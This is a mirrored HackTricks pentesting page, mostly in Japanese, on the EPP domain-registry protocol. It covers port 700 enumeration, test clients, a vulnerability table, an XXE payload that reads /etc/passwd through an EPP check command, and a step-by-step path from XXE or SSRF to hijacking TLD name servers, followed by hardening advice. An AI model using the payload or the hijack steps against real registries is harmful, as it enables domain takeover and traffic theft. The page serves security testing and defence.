mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
116 lines
6.5 KiB
Markdown
116 lines
6.5 KiB
Markdown
# 700 - Pentesting EPP
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## 基本情報
|
||
|
||
Extensible Provisioning Protocol (EPP) は、ドメイン名レジストリおよびレジストラによる**ドメイン名やその他のインターネットリソースの管理**に使用されるネットワークプロトコルです。これにより、ドメイン名の登録、更新、転送、削除プロセスの自動化が可能になり、ドメイン名システム (DNS) 内の異なるエンティティ間で標準化された安全な通信フレームワークが確保されます。EPPは柔軟で拡張可能に設計されており、インターネットインフラのニーズが進化するにつれて新しい機能やコマンドを追加できます。
|
||
|
||
基本的に、これは**TLDレジストラがドメインレジストラに提供するプロトコルの一つ**です。
|
||
|
||
### ペンテスト
|
||
|
||
[**この非常に興味深い記事**](https://hackcompute.com/hacking-epp-servers/)では、いくつかのセキュリティ研究者がこのプロトコルの**実装がXXE (XML External Entity) に対して脆弱であることを発見した**様子を見ることができます。このプロトコルはXMLを使用して通信するため、攻撃者が数十の異なるTLDを乗っ取ることを可能にしました。
|
||
|
||
---
|
||
|
||
## 列挙と偵察
|
||
|
||
EPPサーバーはほぼ常にTCP `700/tcp`でTLSを介してリッスンしています。典型的なデプロイメントでは**相互TLS (mTLS)**も強制されるため、クライアントはレジストリCAによって発行された有効な証明書を提示する必要があります。それにもかかわらず、多くのプライベートテストやプレプロダクションのデプロイメントはその制御を忘れています。
|
||
```bash
|
||
# Banner-grabbing / TLS inspection
|
||
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
|
||
|
||
# Check if mTLS is *really* required (it frequently is not!)
|
||
openssl s_client -connect <target>:700 -quiet \
|
||
-servername epp.test 2>/dev/null | head
|
||
```
|
||
サーバーがTLSハンドシェイク後に接続を終了しない場合、認証されていない`<hello/>`メッセージを送信しようとすることができます：
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
|
||
<hello/>
|
||
</epp>
|
||
```
|
||
### テストに役立つオープンソースクライアント
|
||
|
||
* **epp-client (Go)** – 積極的にメンテナンスされており、TCP/TLSおよびEPP-over-HTTPS (RFC 8730) をサポートしています：
|
||
`go install github.com/domainr/epp/cmd/epp@latest`
|
||
* **gandi/go-epp** – フuzzingやnucleiスタイルのワークフローのために簡単に計測できる最小限のクライアントライブラリ。
|
||
* **afq984/php-epp-client** – 多くの小規模レジストラによって使用されるPHP実装；コードレビューの便利なターゲット。
|
||
|
||
Go epp-clientを使用した最小限のログイン+チェックスクリプトの例：
|
||
```go
|
||
package main
|
||
import (
|
||
"github.com/domainr/epp"
|
||
"crypto/tls"
|
||
)
|
||
|
||
func main() {
|
||
cfg := &tls.Config{InsecureSkipVerify: true}
|
||
c, _ := epp.DialTLS("epp.test:700", cfg)
|
||
c.Login("CLIENT_ID", "PASSWORD", nil)
|
||
resp, _ := c.DomainCheck("example","com")
|
||
println(resp)
|
||
}
|
||
```
|
||
---
|
||
|
||
## 一般的な脆弱性と2023-2025年の脆弱性
|
||
|
||
| 年 | コンポーネント | CWE | 影響 |
|
||
|------|-----------|-----|--------|
|
||
| 2023 | CoCCA Registry < 3.5 | CWE-611 XXE | 作成された `<epp>` ペイロードによるリモートファイル読み取りとSSRF（パッチ: 2023-11-02） |
|
||
| 2024 | FRED EPP Server 2.x | CWE-322 不十分なTLS証明書検証 | mTLSのバイパスにより不正なレジストラのログインが許可されました |
|
||
| 2025 | 独自のレジストラパネル | CWE-306 重要な機能の認証が欠如 | EPP-HTTPブリッジ経由で公開されたドメイン転送承認エンドポイント |
|
||
|
||
### XXE / SSRFペイロード（多くのJava/Spring実装に対して機能します）
|
||
```xml
|
||
<?xml version="1.0"?>
|
||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
|
||
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
|
||
<command>
|
||
<check>
|
||
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
|
||
<domain:name>&xxe;</domain:name>
|
||
</domain:check>
|
||
</check>
|
||
</command>
|
||
</epp>
|
||
```
|
||
When the parser is mis-configured (`XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true`) the file content is returned inside the `<resData>` structure.
|
||
|
||
### Other typical findings
|
||
|
||
1. **弱い認証ポリシー** – EPPログインパスフレーズが8文字未満; スペックはレート制限を推奨するだけで、強制はしないため、ブルートフォースが可能なことが多い。
|
||
2. **`registryLock` / `serverUpdateProhibited` ステータスの欠如** – 認証後、攻撃者はすぐにNSレコードを更新し、トラフィックを盗むことができる。
|
||
3. **署名されていないポールメッセージ** – 一部の実装では、ポールQ&Aメッセージに署名を行っていないため、レジストラオペレーターのスプーフィング/フィッシングが可能である。
|
||
|
||
---
|
||
|
||
## Attack Path: From Zero to TLD Hijack
|
||
|
||
1. Discover an EPP endpoint (often hidden behind a generic host like `ot&e.<tld>.nic.<cc>`).
|
||
2. Abuse one of the weaknesses above to gain registrar-level credentials (XXE → SSRF to IMDSv1, credential exfil, or TLS-bypass).
|
||
3. Issue `<update>` requests to change the domain’s `hostObj` records to attacker-controlled name servers.
|
||
4. (Optional) Submit a `<transfer>` to move the domain to an attacker-controlled registrar – many registries still rely on a **single auth-code**.
|
||
5. Profit: full control of DNS zone, ability to request TLS certificates via ACME.
|
||
|
||
---
|
||
|
||
## Defensive Measures & Hardening
|
||
|
||
* Enforce **mTLS with per-registrar client certificates** and pin the registry CA.
|
||
* Set `parserFeature secure-processing=true` or equivalent to kill XXE.
|
||
* Run **continuous fuzzing** of the XML parser (e.g., with `go-fuzz` or `jazzer` for Java).
|
||
* Deploy **Registry Lock / server*Prohibited** statuses for high-value domains.
|
||
* Monitor `poll` queue for suspicious `<transfer>` or `<update>` commands and alert in real-time.
|
||
* ICANN 2024 DNS-Abuse contract amendments require registries to prove rate-limit & auth controls – leverage them.
|
||
|
||
## References
|
||
|
||
* ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Consequences of Registry Operator Failure to Implement EPP Security Controls". 2024.
|
||
* HackCompute – "Hacking EPP servers: abusing XXE to hijack TLDs" (2023).
|
||
{{#include ../banners/hacktricks-training.md}}
|